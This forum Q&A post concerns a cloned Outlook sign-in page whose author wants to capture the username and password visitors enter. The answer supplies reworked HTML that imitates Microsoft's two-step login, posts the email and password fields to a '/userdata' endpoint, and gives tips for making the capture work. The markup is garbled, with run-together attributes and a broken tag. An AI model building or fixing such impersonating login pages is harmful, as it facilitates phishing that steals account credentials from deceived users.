Form Not Sending Data After Submitting In Some Device Mostly Iphones

So basically am trying to replicate the outlook login form, that sliding effect and this is the best way i know how to do it, I wanted to get the username and password after i subm

Solution 1:

There are some things that looks basic at first but when u ignore them, it will become a problem, it wont hurt to follow the laid down convention on creating a form, below solutions might help.

<formmethod="post"action="/userdata"><divid="loginForm"class="container"><imgid="image"src="logo.svg"><div></div><sectionid="section-main"><sectionid="section-1"class="slide-page"><pid="signIn"class="field">Sign in</p><h5id="result"></h5><inputname="userName"type="email"id="email"class="field"placeholder="Email, username" /><pid="NoAccount"class="field">No account?<aid="linkCreateAccount"href="www.signup.com/?lic=1"style="color: #0067b8;">Create One!</a></p><pid="signInSecurityKey"class="field"><ahref="www.complain.com"style="color: #0067b8;">Sign in with other method</a><iclass="far fa-question-circle fa-lg"id="iconQ"></i></p><pid="signInOptions"class="field"><ahref="www.myaccount.com"style="color: #0067b8;">Sign-in options</a></p><pid="btnPlace"class="field"><buttonclass="firstNext next"href="#next"type="button"id="btnSend" >Next</button></p></section><sectionid="section-2"class="page secondSlide"><pid="userLine">P</p><buttonclass="btn btn-primary btn-sm py-0 prev-1"id="btnBack"type="button"style="font-size: 12px;height: 25px;width: 26px;"><iclass="la la-long-arrow-left"id="arrowBack-1"style="width: 1px;font-size: 19px;font-weight: 800;margin: -1px;"></i></button><pid="enterPwd">Enter Password</p><h5id="passResult"></h5><p <inputname="password"type="password"id="password"placeholder="Password"></p><pid="keepMe">Keep me signed in</p><inputtype="checkbox"id="cbRemember"><pid="ForgodPwd"><ahref="#">Forgot password?</a></p><pid="SignWithKey"><ahref="#">Sign in with other method</a></p><pid="btnSignInLocation"><buttonid="btnSignIn"class="submit"type="button">Sign in</button></p></section></section></div></form>

Below are what u should understand,

1. every input in your form should have a name
2. your input name must correspond to the name you are trying to reference in the server side.
3. add the action attribute to your form